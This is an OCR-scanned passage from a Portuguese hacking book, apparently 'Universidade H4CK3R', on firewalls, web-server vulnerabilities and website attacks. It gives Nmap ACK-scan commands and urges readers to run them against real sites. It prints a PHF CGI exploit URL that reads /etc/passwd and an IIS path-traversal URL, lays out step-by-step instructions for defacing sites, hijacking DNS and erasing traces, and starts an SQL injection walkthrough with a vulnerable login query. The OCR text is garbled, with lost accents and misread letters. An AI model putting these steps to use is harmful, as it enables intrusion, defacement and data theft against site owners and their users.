Quando algum invade um computador domstico, tem sua disposio alguns arquivos importantes apenas para o dono. Talvez algum software bacana que merea ser copiado. Essas mquinas no servem para realizar o sonho warholiano desses adolescentes: ter seus breves momentos de fama. Para conseguir a to sonhada publicidade grtis, necessrio atacar sistemas que sejam visveis ao grande pblico. Alterar web sites a primeirssima escolha, uma vez que algum recado pode ser dado e a obra-de-arte sempre vir assinada. Mas h outras opes de grande repercusso, embora mais annimas. Derrubar servidores de empresas ou roteadores da Internet so duas delas. Apesar do anonimato, o estrago causado grande.

1193 I

]Vulnerabilidades

II

I Universidade

H4CK3R

Firewalls
Falemos a verdade: quem hoje, em s conscincia, deixaria um servidor Web ligado diretamente Internet? (Ok, ok, ok, est bem: muita gente faria isso...?) Mesmo que sejam mquinas acessveis aos internautas em geral, um certo grau de proteo deve ser providenciado para que nosso site no seja molestado logo no primeiro dia (ou antes, na primeira hora...). Essa proteo usualmente relegada a equipamentos chamados fn-ewa1ls. Um firewall sempre colocado na divisa entre duas ou mais redes. Pode ser entre redes privadas ou entre uma rede privada e a Internet. A funo de tal equipamento controlar o trfego entre elas, permitindo ou bloqueando informaes de acordo com regras preestabelecidas. H diversas explicaes para a palavra firewall. Os autores preferem a definio de "porta corta-fogo", ou seja, deixa passar as pessoas correndo do incndio mas bloqueia o fogo. Analogamente, os firewalls agem como portas que permitem a algumas conexes entrar ou sair da rede, enquanto bloqueia as demais. Normalmente, as conexes originadas de dentro da rede so permitidas, enquanto as originadas de fora da rede so bloqueadas.
Permite ~da e retorno

H trs tipos bsicos de firewall. Os dois mais tradicionais so os filtros de pacotes e os proxies. O terceiro tipo uma evoluo do filtro de pacotes tradicional chamado de filtro de estados de pacotes ou stateful packet filter (SPF).

Filtros de pacotes
A tentativa mais antiga de barrar acessos indesejados em nossas redes talvez seja a de analisar os pacotes TCP/lP um por um e, olhando em seus cabealhos, decidir (ou adivinhar) se o mesmo maligno ou no. Normalmente, as "perguntas" que o f11trofaz ao pacote so: ~ O pacote destinado ao endereo IP de algum servidor da rede? ~ Seu endereo IP de origem permitido nesta rede? ~ A porta TCP/UDP a que se destina corresponde a um servio ofertado na minha rede? ~A porta TCP/UDP de origem corresponde a uma aplicao-cliente dos meus servios? 11941
Vulnerabilidades 111

Universidade

2 Ano

~ Os bits do pacote (SYN ou ACK) so parte do handshake TCP? ~ O pacote IP est saindo ou entrando da rede? Se a resposta para as cinco primeiras perguntas for "sim", o ftrewall permite que o pacote entre ou saia. A conftgurao de cada uma das situaes de permisso ou bloqueio de pacotes chamada de regra. Um conjunto qualquer dessas regras chamado de access controllist (ACL).H vrios softwares diferentes que implementam f1ltros de pacotes. Alguns so instalados em hardwares especftcos como roteadores e os chamados "firewalls de rack". Outros so programas que rodam em computadores comuns. Alguns possuem interfaces grficas para conftgurao, outros devem ser ajustados com linhas de comando por vezes complexas. Como a sintaxe e o modo de conftgurao variam muito, no possvel apresentar um exemplo real de regra de ftrewall. Entretanto, como tecnicamente a f1ltragem idntica, variando apenas a sintaxe do comando, uma tabela de regras poderia, para fms didticos, ser escrita assim:
IP Origem Rede Interna IP Destino Porta Origem Rede Externa Todas Porta Destino 80 Todas 80 Todas Todas Protocolo TCP TCP TCP TCP Todos FlagTCP Todos ACK SYN ACK Todos Ao Permitir Permitir Permitir Permitir Negar

Rede Externa Rede Externa 80 Rede Externa Servidor Web Todas Servidor Web Rede Externa 80 Todas Todas Todas

Neste exemplo, nosso administrador de redes quis liberar o acesso World Wide Web para os usurios dessa rede. Normalmente, os servidores Web rodam na porta TCP 80 (lembre-se: RFC1700). Segundo a primeira regra, todas as conexes de dentro para fora cujo destino seja a porta 80 so permitidas. Obviamente, o browser do usurio envia um pacote TCP SYN para a porta 80 do servidor Web e espera uma resposta. Tal resposta vem sob a forma de um pacote ACK, cuja porta de origem a TCP 80 do servidor com destino a uma porta qualquer maior que 1.024 no computador do usurio. A segunda regra permite isso. A terceira regra permite que qualquer requisio de conexo (ou seja, um pacote TCP SYN) seja passada ao endereo do servidor Web, e apenas a ele, na porta 80. Uma requisio porta 80 de outra mquina qualquer ser bloqueada. A resposta do nosso servidor Web passa pelo ftrewall, permitida pela regra quatro. Por ftm, a regra cinco bloqueia todas as outras conexes. Mas o f1ltrode pacotes ignorante. Alm do que est defIDidoem suas regras, ele no sabe de mais nada. Observe a regra dois. Qualquer pacote TCP vindo de fora, cuja origem seja a porta 80 e o flag ACKesteja ligado, seria aceito pelo ftrewall sem reclamar. Ora, um hacker poderia enviar um pacote ACKque no fosse parte de um hadshake TCP.Com esse pacote, todos os endereos IP da rede poderiam ser testados para verificar sua existncia. Isso um belo furo de segurana!
1195
I

Vulnerabilidades

II

I Universidade

H4CK3R

Outro problema so os pacotes UDP.Eles no possuem os flags de controle, apenas IP/porta de origem e destino. O administrador tem apenas duas opes: bloque-Ios ou permiti-Ios. Servios importantes como o DNS (porta 53) utilizam portas UDP e, portanto, devem ser liberados no flrewall.Ao mesmo tempo, a mesma porta UDP 53 pode ser usada para transmisso de dados para o hacker a partir de um cavalo de tria. O f1ltro de pacotes no tem como diferenciar entre a conexo vlida e a maliciosa.

Proxies
Os f1ltros de pacotes, como o nome j diz, baseiam-se nas informaes carregadas pelos prprios pacotes para tomar as decises sobre quem entra ou sai e quem barrado. Diferentemente, flrewalls baseados na tecnologia proxy trabalham com a camada de aplicao. O proxy interage com o programa e seus protocolos, independente de como esse protocolo ser encapsulado na pilha TCP/lP. Por exemplo, um proxy para Web muito conhecido no mundo Unix, o Squid, trabalha apenas com o protocolo HTTp, bloqueando os demais2. Alm disso, imune a ataques com pacotes isolados. O pacote ACK que passou com galhardia pelo f1ltro de pacotes ser solenemente ignorado pelo proxy, que ainda vai "escovar os bits" do protocolo HTTP para deixar passar apenas mensagens que lhe obedeam estritamente - ao muito mais efetiva do que simplesmente bloquear as conexes ACKTCP/80. H proxies para todos os gostos, sendo HTTp,FTP e Telnet os mais comuns.

. Proxy

Proxy repassa solicitao ao servidor

Opcionalmente, um proxy pode autenticar usurios, permitindo que apenas logins devidamente cadastrados o utilizem. Se til para controlar quem pode ou no acessar servios externos - um controle assaz vlido em empresas - muito mais til para impedir que cavalos de tria conectem-se com seus amos malignos envoltos nas brumas da Internet. De fato, em um f1ltro de pacotes que permita conexo pela porta TCP 80, alm de requisies HTTP vlidas, poderamos ter trojans conectando-se pela mesma porta. Com um proxy isso no seria possvel. Mesmo que o trojan disfarce seus dados com um cabealho HTTP vlido, a conexo no passaria pelo esquema de autenticao.
2. Normalmente, ele configurado para servir apenas como o proxy web.
1196 1

Vulnerabilidades II [

Universidade

2 Ano

Filtros de pacotes por estado (SPF)


Que tal dotar de alguma inteligncia os microceflicos illtros de pacotes? Uma nova tecnologia de anlise de pacotes foi agregada aos illtros, permitindo que eles lembrem-se de pacotes anteriores antes de permitir outro mais recente entrar. Essa "memria" implementada na forma de uma tabela de conexes ativas. Quando uma conexo iniciada, todos os dados do pacote so guardados nela. Se um novo pacote chegar em direo mesma mquina, o SPF consulta a tabela. O novo pacote aceito caso seja dada a continuao da conexo ou rejeitado, se no for. Um exemplo prtico o prprio hadshake bsico do TCP. Uma mquina de dentro da rede envia um pacote TCP SYN, que passa pelo SPF e registrado na tabela. Essa mquina espera por um pacote TCP SYN/ ACK da outra mquina (externa) que participa da conexo. Quando o pacote chega, o SPF analisa a tabela e, verificando que um pacote vlido, permite sua passagem. O firewall sabe que s pode aceitar o pacote SYN/ ACK se ele for uma resposta a um SYN vindo de dentro da rede. Com isso, aquele black-hat esperto que usou um pacote ACK solitrio no conseguir, desta vez, bisbilhotar nossa rede.

Pesquisando as regras do filtro de pacotes


Um script kiddie normalmente desiste de escanear a rede se seus pacotes ACK no passarem pelo flfewall. H maneiras de furar qualquer um dos trs tipos de flfewalls, e que sero estudadas com outros detalhes mais adiante no livro. Por ora, vamos nos preocupar com a fraca oposio oferecida pelos illtros de pacotes. Tristemente, vemos que a maioria esmagadora das redes conectadas Internet possui apenas esses illtros instalados. Os proxies so comumente usados como caches para aumentar a performance das conexes e raramente desempenham um papel de firewall. SPFs so ainda mais negligenciados: a maioria dos "administradores" de rede por a sequer sabe o que so Stateful Packet Filters. possvel determinar, por meio de pacotes ACK, quais portas um f1ltro de pacotes deixou abertas. Como vimos, os filtros de pacotes deixaro entrar qualquer pacote com o flag ACK ligado, pensando que so respostas a requisies saintes SYN anteriores. Um portscanner (por exemplo, o Nmap) pode enviar pacotes ACK para todas as portas de um determinado endereo. Fazendo isso com todos os endereos da faixa de IPs designada para aquela rede possvel determinar todas as regras de f1ltragem daquele firewall.

Rede Privada

1197
I

Vulnerabilidades

11

I Universidade

H4CK3R

Para fazer o Nmap enviar pacotes ACK a todas as portas de uma nica mquina, utilize a opo -sA (voc deve ser root para isso): # nmap -sA IP.A.SER.VASCULHADO O prompt mostrado de um Unix, mas o comando no Windows seria exatamente o mesmo. Obviamente, podem-se usar os front ends grficos (NmapWin e Nmapfe) para facilitar a tarefa, se assim for desejado. possvel fazer o mesmo scan com todas as portas de uma faixa de IPs (ou seja, diversas mquinas). Por exemplo:

# nmap -sA 192.168.1. * Varre todos os IPs de 192.168.1.0 a 192.168.1.255


# nmap -sA 192.168.1.3-127 Varretodos os IPs de 192.168.1.3 a 192.168.1.127 Dispare esse comando contra vrios web sites e voc ver que nem todos fizeram a lio de casa. Escolha um deles (o mais esburacado) e tente, a partir dos dados apresentados pelo Nmap, determinar as regras do firewall em questo. Outro comando muito interessante nesta hora o TraceroutelTracert. Se voc est em uma mquina Unix, experimente dar o seguinte comando: # traceroute IP.DO.WEB.SERVER Em uma mquina Windows, o comando seria:
C: \ TRACERT IP

. DO.WEB.SERVER

Voc ver uma lista com todos os nmeros IP (e, se disponveis, os nomes de DNS) dos computadores e roteadores que esto no caminho entre o seu computador e o computador destino. muito provvel que, sendo o computador destino um web server, as duas interfaces de rede (ou seja, os nmeros IP) imediatamente anteriores pertenam ao firewall. J temos, com isso, trs informaes vlidas: o endereo IP do web server, os endereo IP do firewall e suas regras de filtragem. Com um pouco de pacincia, o "hacker" pode tentar diversos endereos prximos com o Nmap e o T,raceroutelTracert e, com os dados obtidos, desenhar um diagrama aproximado da rede a ser atacada. Perigoso, no mesmo? De posse dessas informaes, um scanner de vulnerabilidades, como o valoroso Nessus, poder abrir um mundo de opes para invadir qualquer uma das mquinas encontradas. Basta descobrir o furo, baixar o exploit (www.cert.org e www.securitifocus.com. pra comear) e correr para o abrao.

Servidores Web
preciso conhecer com certa profundidade os daemond HTTP a serem atacados para poder, rapidamente, invadi-Ios e alterar suas pginas. Conhecer as vulnerabilidades existentes neles crucial para o sucesso da empreitada. Aps invadidos, os caminhos que levam s pginas devem ser descobertos rapidamente para evitar um tempo muito longo de conexo e possveis rastreamentos.

1198 I
Vulnerabilidades 11 [

Universidade 2 Ano

Apache
O servidor HTTP nmero um no mundo o Apache (www.apache.org). um programa de cdigo aberto e livre distribuio muito prestigiado por seu desempenho, segurana e flexibilidade. Entretanto, nenhum software 100% seguro, e o Apache no exceo. Os arquivos de configurao do Apache normalmente esto no /etc, nos diretrios /etc!httpd ou /etc/apache. Em algumas implementaes, podem estar em /usr/locaVapache ou /var!httpd. importante que o atacante se familiarize com os conceitos de operao de um servidor HTTP,com o Apache em especial e, principalmente, com o arquivo de configurao httpd.conf. Outro ponto interessante a estudar so os mecanismos de acesso a pginas restritas por meio de senhas. Tais mecanismos usam arquivos normalmente chamados de .htacces para guardar o login e a senha dos usurios cadastrados. Todas essas informaes constam na documentao do produto, disponvel no site oficial. A melhor maneira de aprender sobre o Apache mexendo nele. Instale um Linux qualquer em um computador de testes bem como o Apache mais recente. Brinque com as configuraes, procure HOwros na Internet, crie pginas de acesso restrito e, principalmente, veja como a hierarquia de diretrios organizada. Como nem tudo so flores, o Apache pode estar vulnervel a ataques. Alm de m configurao do Unix que o hospeda, o prprio Apache pode estar mal configurado. Mas mesmo que tudo esteja em ordem, pode haver falhas no software que possibilitem uma invaso. Um exemplo simples. O Apache possui um mdulo, mod_php, que permite a execuo de sistemas escritos na linguagem PHP no servidor. Algumas funes do mod_php permitem que um programa externo seja executado. Nessas situaes, o controle da porta pela qual o Apache "escuta" (normalmente a 80) passado a esse programa externo. Sendo assim, fcil fazer um programinha com cdigo malicioso que permita ao hacker tomar conta da porta 80: basta que o programa nunca devolva o controle para o Apache e que esteja aberto para transmisso de dados por parte do hacker. O invasor pode enviar qualquer coisa pela porta 80, inclusive outras pginas HTML,sem alterar o contedo das pginas hospedadas no servidor. O exploit e uma explicao mais detalhada podem ser encontrados em www.guninski.com/phpl.html.

Sun ONE / iPlanet


A Sun oferece o servidor HTTP Sun ONE (antes chamado de iPlanet), um servidor poderoso e muito rpido, mas tambm com alguns bugs. O Sun ONE faz parte de um conjunto maior de ferramentas para desenvolvimento de aplicaes corporativas emJava, e, portanto, difcil (mas no impossvel) encontr10 servindo pginas da Web. A documentao sobre o servidor pode ser encontrada na pgina oficial: wwws.sun.com/software/products/web srvr/ home web srvr.html.
Vulnerabilidades 11

1199 I
I

I Universidade

H4CK3R I

Uma das vulnerabilidades mais conhecidas do antigo iPlanet e que algumas verses do Sun ONE herdaram um bug no componente de pesquisa do servidor - aquele campo que permite ao internauta procurar por alguma coisa dentro do site. Um dos parmetros de pesquisa o comando NS-rel-doc-name.Uma string muito longa associada a esse parmetro causa um buffer overflow no componente e permite que cdigos arbitrrios com poderes de superusurio sejam executados no servidor. Se em vez de cdigo for enviada uma string qualquer ("lixo"), o servidor poder travar e sair do ar. A vulnerabilidade est explicada em detalhes no site Security Focus (www.securityfocus.com/bid/48511info).

Microsoft Internet Information Services (IIS)


Mas o campeo absoluto de falhas de segurana em web servers , sem dvida, o Internet Information Server (ou IIS) da Microsoft. Desde seu lanamento, falhas so descobertas quase que mensalmente, e algumas vezes os hotrIxes e Service Packs consertam uma ou duas falhas, mas abre outras mais. Os primeiros ataques ao IIS eram possveis apenas manipulando a URLvisitada. Por exemplo, as primeiras verses do IIS permitiam que a URL fosse informada assim: http://site.com.IIS.com/../../Arquivos de programaslPerl/per1.exe Note o ../../. Isso indica ao Windows NT para subir dois diretrios. Ora, se estamos em /www/documenroot/, basta subir dois diretrios para chegar ao raiz (C\). Se funcionar, qualquer diretrio estar disponvel ao usurio, incluindo os que contm programas. Se, em vez de navegar com o browser, nosso intrpido hacker usar o programa telnet, a URLacima precedida pelo comando GETtraria o prompt de comando do interpretador PerI.A partir dele, qualquer coisa possvel. Hoje, o maior problema do IIS so os ataques conhecidos como cross site vulnerabilities. O atacante deve montar um site com IIS e nele colocar uma pgina HTMLcontendo um script (pode ser ]avascript ou VBScript) que aponte para algumas das pginas de administrao do servidor, notadamente os presentes na pasta IISHELP. O script pode tambm ser enviado por e-mail (e o Outlook alegremente o executar sem perguntar). Ao ser executado, o script tomar posse do IIS vtima e no do IIS do hacker. Usando essa falha, o atacante pode monitorar sesses, copiar dados e documentos importantes ou mesmo executar alguns tipos de programas. interessante notar que o IISHELP bloqueado para a zona da Internet. Um script vindo de fora da rede nunca conseguiria acess-Io. Mas ao executar de dentro da rede (pelo Internet Explorer ou pelo Outlook), o usurio est dando ao script os poderes necessrios para controlar as pginas administrativas. O anncio dessa falha pode ser visto no TechNet (www.microsoft.com/technet) sob o cdigo MS02-062. Outro problema grande com o IIS o Unicode Bug. O Windows NT (e seu ftlho, o Windows 2000) est preparado desde h muito tempo para suportar a codillcao de caracteres Unicode, que visa a unillcar os conjuntos de caracteres

1200 I
Vulnerabilidades II r

Universidade

2 Ano

de todas as lnguas do mundo, acabando com os problemas de internacionalizao de programas e sites. Ocorre que, apesar de os SOs estarem preparados para o Unicode, o IIS no est. Enviando uma string com inmeros caracteres Unicode 255c, possvel, no [mal da string, colocar comandos para execuo. No CD, inserimos alguns exploits para o Unicode bug. Para corrigir esta falha sugerimos que voc substitua o servidor IIS por um Linux com Apache (a melhor opo). Se insistir em usar o Windows, aplique o patch oficial, disponvel em microsoft.com/technet/security/bulletin/msOO-057.asp. O IIS ainda presta um servio ao invasor, gravando dados falsos no logoConforme reportado no Security Focus (www.securityfocus.com/bid/6795/info). URLsespecialmente malformadas com cdigos hexadecimais podem fazer com que o sistema grave entradas falsas nos arquivos de logo Com isso, possvel destruir registros de invaso e confundir os programas que lem o logo H diversos livros escritos sobre os trs servidores citados, e os sites oficiais (especialmente o do Apache) fornecero informaes detalhadas e farta documentao sobre eles. Interrompa a leitura do livro e estude-os. importante. Sugiro tambm uma passadinha no Security Focus (www.securityfocus.com) e uma busca pelas vulnerabilidades desses trs servidores de HTIP. Se por acaso os conceitos utilizados nos sites forem muito obscuros para o leitor, sugerimos reler todo o livro, bem como os apndices no CD-ROM.

Common Gateway Interface (CGI)


OS servidores HTTP podem ser amplamente estendidos com a adoo de mecanismos que permitam o chamado contedo dinmico, uma tecnologia que possibilita a montagem de pginas personalizadas e de contedo varivel para cada visitante e acesso. Tal tecnologia abriu as portas para uma infinidade de novos servios ao internauta, como o comrcio eletrnico, as pginas interativas, os servios de notcias personalizveis e o tratamento de formulrios on-line. De quebra, tambm abriu as portas para os hackers. A forma mais antiga de dotar os sites de contedo dinmico so os Common Gateway Interfaces, ou CGIs. Esses mdulos, agregados ao servidor Web, permitem que as pginas HTML oferecidas possam tanto enviar quanto receber dados de um programa externo. Com isso, sistemas de tratamento de dados podem manipular as informaes recebidas e mostrar o resultado na tela. Se voc no tem idia de como isso pode ser feito, sugiro parar a leitura deste livro (novamente...) e ir atrs de um bom livro sobre HTML. No, no, seus conhecimentos de FrontPage ou Dreamweaver no vo ajud-Io agora. Depois de terminar seus estudos sobre HTML, procure aprender algo sobre ]avaScript e VBScript. S depois continue no pargrafo seguinte. Os programas que funcionam como CGI scripts podem ser muito simples. E podem ser implementados em quaisquer linguagens disponveis no servidor. Por exemplo, numa mquina rodando Windows, pode-se preparar um
1201 I

]Vulnerabilidades

11

I Universidade

H4CK3R I

programinha em Delphi, Visual Basic ou mesmo um arquivo de lote (.BAT) que interaja com o IIS. No Unix, pode-se usar PerI, Python, programas compilados em C ou mesmo shell scripts, como CGls. Falhas nesses programas podem comprometer servidores HTIP que, de outra forma, estariam seguros. Furos de segurana envolvendo CGls so to antigos quanto a prpria tecnologia. Os prprios servidores j vinham com CGls-exemplo pr-instalados. Um exemplo, vindo de instalaes Unix muito antigas, a falha do tipo PHF.O arquivo PHF um CGI script usado para atualizar uma lista de telefones de pessoas. Essa lista disponibilizada on-line pelo servidor Web, e possvel montar um formulrio que se utilize deste CGI para atualizar a lista. Nos sistemas Unix com Apache, o local padro para colocar scripts CGI o diretrio /caminho/para!http/cgi-bin/. Por default, a maioria dos antigos servidores Web instalavam o PHF como exemplo, e, como administradores de sistema nunca lem a documentao, os scripts acabavam ficando. Entretanto, o script PHF comporta-se mal quando, junto com comandos vlidos, coloca-se um caractere newline (em hexadecimal, OAh) na URL de controle. Um ataque simples poderia ser: http://vulnserv.com/cgi-bin/phf?Qalias=x%Oa/bin/cat%20/etc/passwd. Se voc prestar ateno, depois do newline (OAh) foi emitido o comando /bin/cat /etc/passwd. O caractere %20 o cdigo ASCII para espao em branco. Vrias aes so possveis e comandos em seqncia so uma boa idia. Normalmente o script roda no Unix em um shell muito restrito, sendo o usurio nobody o "campeo de audincia". Se voc tiver a sorte de o CGI rodar com SUID,pronto! Voc emitir comandos como root! Tanto o PHF quanto o Unix foram apenas exemplos. Outros CGls so vulnerveis (quase todos...) e possvel rodar comandos de outras plataformas. Um servidor Windows NT aceita os comandos do DOS, por exemplo. A melhor maneira de se precaver quanto aos problemas dos scripts CGI no os usar. Por conta disso, outras formas de interagir com o usurio so as mais utilizadas atualmente. Alguns exemplos so os servidores de aplicaes Zope e ColdFusion e as linguagens dinmicas ASP e PHP.Mas mesmo eles possuem furos, porm no to toscos quanto os dos CGls.

PHP e ASP
As duas linguagens mais usadas para a implementao de sites dinmicos na Web so, sempre, cheias de falhas. Como elas precisam efetuar algum processamento antes de enviar a pgina HTML formatada ao browser, possvel inserir comandos maliciosos na URL ou em algum formulrio e conseguir um shell para si. Com o shell, a porta para seu defacement est aberta. A linguagem PHP (Hypertext Preprocessor) foi desenvolvida para substituir 12021
Vulnerabilidades 11 [

Universidade 2 Ano

os scripts CGI em servidores Unix, embora tenha sido portada para diversas plataformas, incluindo Windows. O sistema Active Server Pages (ASP), da Microsoft, por outro lado, como um "shell" que interfaceia o servidor IlS e qualquer linguagem externa. A mais usada para montar programas em ASP o VBScript, mas muitas outras podem ser usadas, incluindo ]avascript e WSE. Apesar da maior segurana e desempenho que essa abordagem oferece - afinal, nenhum programa externo ao servidor Web est sendo rodado -, ainda h algumas falhas que podem ser exploradas. Para uma lista completa, consulte seu site de vulnerabilidades preferido, por exemplo o Security Focus (www.securityfocus.com), o Linux Security (www.linuxsecurity.org) ou o Security Bugware (www.securitybugware.org).

Defacements
Depois de atacar computadores pessoais, a prxima grande empreitada dos script kiddies a desfigurao de web sites, os chamados defacements. At agora, conseguimos verificar (apenas com Nmap e Traceroute/Tracert) os furos no firewall e mapear toda a rede diretamente conectada Internet. Aprendemos ainda a usar proxies para aumentar nosso anonimato e a mandar fakemails - coisa que facilita a vida de qualquer engenheiro social. A rede interna ainda inacessvel para ns. Por enquanto... Um defacement algo simples de fazer. Claro que h casos e casos, alguns mais difceis, outros extremamente infantis, mas no geral os passos bsicos para um defacement so: 1 Engenharia Social, aplicada aos administradores do site. Um exemplo clssico o prprio site da Digerati (www.digerati.com). que foi desfigurado pela hacker juvenil Melpneme. Usando apenas tcnicas de engenharia social, ela descobriu as senhas dos administradores do site da Digerati no registro nacional de domnios (registro.br). A partir dos dados obtidos l, acessando com as senhas conseguidas, invadiu o DNS(tambm sem exploits, apenas com senhas conseguidas por engenharia social) que apontava para nosso servidor Web e alterou o IP,apontando para o servidor dela. Resultado: os sites da Geek e da Digerati aparentemente desfigurados.A imagem do site desfigurado est no CD. 2 Com ES, tudo fica mais fcil. Mas com ou sem informaes privilegiadas, deve-se cuidar do anonimato quando tentar qualquer ataque com ferramentas de informtica. Para isso, cuide de se proteger com spoofmg e proxies pblicos. 3 Faa scans de portas e de vulnerabilidades at descobrir se os DNSs ou o web server tm falhas que podem ser exploradas. Se sim, v atrs dos exploits e consiga acesso ao shell da mquina. Observe que muitas vezes voc ter acesso restrito, ento precisar fazer cracking de senhas ou brute force (vide captulo 7, Vulnerabilidades l) para conseguir acesso ao superusurio. 12031
I

Vulnerabilidades

11

I Universidd

H4CK3R

Uma vez com acesso, procure

pelos diretrios

em que as pginas so

guardadas. Em mquinas Windows com IIS elas ficam em /www/documentroot. /var/www, /var/ Em mquinas Unix isso varivel, pode estar em !home!http, http, /usr/local/apache/www, entre outros. Utilize o comando fmd (ou, se disponvel, o comando locate) para encontrar o diretrio www ou http. 5 Encontrado o diretrio, seja bonzinho e faa backup de todo o site, colocando-o em um arquivo compactado deixado a mesmo ou copiando-o para um diretrio qualquer. 6 Substitua o index.html (ou .php ou .asp ou .htm ou .xhtml ou .shtm...) pelo seu prprio, j previamente diagramado, ANTES de iniciar a invaso. Voc no quer deixar a conexo aberta enquanto cria a pgina, perigando ser rastreado, no mesmo?

Apague todos os seus rastros.

Em caso de mquinas DNS, o procedimento similar. Voc deve ter um servidor Web no ar e testado, contendo a pgina a ser mostrada. Invada o DNS e altere as entradas. Por exemplo, voc a favor da guerra no Iraque e quer desfigurar o site www.stopthewar.org (Ateno lammers - este site no existe!). Descubra qual o DNS que aponta para ele (dica: use o servio WHOIS com o comando nslookup) e invada a mquina. L, voc vai encontrar o domnio stopthewar.org associado a um determinado nmero IP. Troque pelo IP do seu servidor Web contendo a pgina falsa e pronto, est feito! No se esquea de verificar se h DNSs secundrios. Voc ter de monitor-Ios para certificar-se de que sua alterao seja propagada, caso contrrio, ter de invadi-Ios tambm e alter-Ios " mo".

Bancos de Dados
A maioria dos sites com contedo dinmico e controle de acesso utiliza-se de bancos de dados. Os primeiros para armazenar os retalhos de cdigo a fim de usar para montar o HfML entregue ao cliente, os segundos para manter o cadastro dos usurios. Ambos podem ser facilmente acessados com algum trabalho braal.

Conectando diretamente via Internet


Certos administradores de redes (ou mesmo usurios leigos...) deixam seus bancos de dados completamente escancarados na Internet, sem f1ltragem por firewall. possvel conectar-se a eles por meio das ferramentas disponveis no prprio sistema operacional, ou instalando, banco de dados idntico ao da vtima. no computador do atacante, um

Um exemplo prtico: na Internet, voc encontrou com um scanner de vulnerabilidades (por exemplo, o Nessus) um servidor Unix rodando o banco de dados PostgreSQL. Para acess-Io, basta instalar e configurar um front end grfico para acesso e administrao dos bancos de dados do Prostgre chamado pgaccess (www.frex.ro/pgaccess).

2041
Vulnerabilidades 11 [

Universidade 2 Ano

Um pouco de engenharia social ser necessrio para descobrir os nomes das bases de dados e de usurios. O PostgreSQL foi s um exemplo, possvel fazer isso com qualquer banco de dados, inclusive o MS-SQLe o Access, quando configurados como fontes de dados ODBC para rede. Uma instalao com as opes-padro do banco de dados a ser atacado, na mquina do atacante, ajuda e muito a descobrir contas-padro. Scripts de conexo a SQL e ODBC, se bem escritos, podem auxiliar em um eventual brote force. Procure aprofundar-se nas tecnologias de bancos de dados. A Internet est cheia de tutoriais srios a respeito do assunto. Recomendamos a voc, antes de tentar atacar tais programas, procurar saber como us-Ios da maneira correta. Humm, talvez seja hora de voc interromper novamente a leitura do livro...

Senhas na Web [teoria x prtica)


Todo grande site solicita que o internauta se cadastre para liberar contedo exclusivo. Depois do cadastro, necessrio que o internauta fornea login e senha toda vez que entrar no site. Se o servio cobrado ou no, no interessa. Os dados do usurio sero catalogados e mantidos em um banco de dados, e usados pela empresa mantenedora do site para quaisquer fins. Normalmente tais empresas possuem e divulgam uma poltica de privacidade, garantindo que seus dados esto num ambiente seguro, livre de olhos maliciosos e que a prpria empresa no os divulgar voluntariamente sob qualquer pretexto. Mesmo com as desconfianas de praxe, na maioria das vezes, acreditamos na palavra dos profissionais a quem confiamos nossas informaes, bem como na segurana de seus sistemas. Esse falarrio todo nos d a impresso de que nossos dados estaro seguros, certo? Ledo engano. Nem sempre os sites se utilizam de ferramentas adequadas para desenvolver seus produtos e servios. Vrias tcnicas podem ser usadas para enganar as rotinas de login e nos fornecer acesso privilegiado ao site ou mesmo obter os logins e senhas dos outros usurios. Uma das tcnicas a chamada SQL Injection, que consiste em inserir comandos da linguagem SQL nos campos de login e senha para, de acordo com a mensagem de erro retornada pelo servidor, mapear todo o banco de dados dos usurios. Esse mtodo funciona para scripts ASP que se utilizam de chamadas SQL,mas pode ser adaptado para qualquer linguagem de scripting ou CGI, como PHP ou PerI. A sintaxe pode ser diferente, mas o mecanismo similar.

12051

]Vulnerabilidades

II

I Universidade

H4CK3R I

EMTEMPO!Conhece SQL,ASP e PHP? No? pena, mas sou forado a sugerir que voc pare novamente a leitura do livro e procure instruir-se nesses assuntos. Comece com um banco de dados simples como o MySQLe uma linguagem livre como o PHP.Bonspontos de partida so os sitesWebmonkey (wwwwebmonkey.com) e Developer's Shed (wwwdevshed.com). Os sites oficiais do PHP (wwwphp.neO e MySQL(wwwmysq1.com) tambm so bem produtivos. Uma procura em sites de busca pelas palavras"PHPMySQL Tutorial"e bons livrossobre o assunto (e so muitos) completam suas necessidades iniciais. Partimos do princpio de que sempre existe uma tabela, dentro do banco de dados, que contm todas as informaes cadastrais dos usurios. No estimativa: esta tabela necessria! No sabemos (ainda) qual o nome da tabela - pode ser Users, Usurios,UserDB,Papagaio,SacoDePitombas -, ento, por enquanto, vamos cham-la de tabela_usuarios. A tabela de usurios pode possuir diversos campos, como endereo, telefone, e-mail para confirmao ou nmero do carto de crdito. Mas h quatro campos que so obrigatrios em qualquer tabela dessas. Os nomes dos campos obviamente podem variar,mas suas funes normalmente so as mesmas: ~ ID: Um identificador nico de cada usurio no sistema. a chamada "chave primria", e necessria para o correto funcionamento da tabela e seus relacionamentos com outras tabelas. ~ Nome Completo: Campono to importante para a autenticao, mastrata-seuma maneirade personalizaro funcionamento do sitepara cadausurio. ~ Login e senha: Os campos mais importantes; garantem o acesso ao site para os usurios cadastrados. ~Admin: Um flag que indica se o usurio tem poderes especiais para administrar o site. Um exempo de tabela seria: ID 1 2 3 4 Nome Completo Henrique Cesar Ulbrich James Fbio Della Valle Suzana Warren Fabio Cruz Login ulbrich james suzy fcruz Senha W6rYwH D3114V4113 pipoca blaublauO 1 Admin? (S/N) S S N N

Esse fragmento de tabela nos revela coisas interessntes. O que mais salta vista que as senhas dos usurios comuns normalmente so muito fracas, e um bom ataque por dicionrio facilmente as descobriria. Mas h algo que, de to bvio, passa despercebido pela maioria das pessoas: os administradores quase sempre so os primeiros nomes da lista. Em mais de 90% dos casos, o ID 1 da tabela corresponde ao desenvolvedor, que seguramente deu a si mesmo poderes de administrador para poder fazer os testes necessrios. Essa informao ser til mais para frente.

12061
Vulnerabilidades II [

Universidade 2 Ano

Voltemos ao site. Quando o usurio preenche os campos de login e senha, o script ASP os guarda, cada um em uma varivel. Vamos cham-Ias de login e senha. No muito original, mas tenha certeza de que um grande nmero de sistemas por a utiliza exatamente esses nomes, alguma variao deles ou seu correspondente em ingls. O prximo passo seria o script ASP comparar os dois campos com o que est cadastrado, para garantir ou barrar o acesso ao site. Um exemplo de comando ASP seria: senha, nome, admin SQLOpen = ffSELECT login,
FROM tabela_usuarios WHERE login = ' ff &Login& ff , AND senha = ' ff &Senha& ff , ff

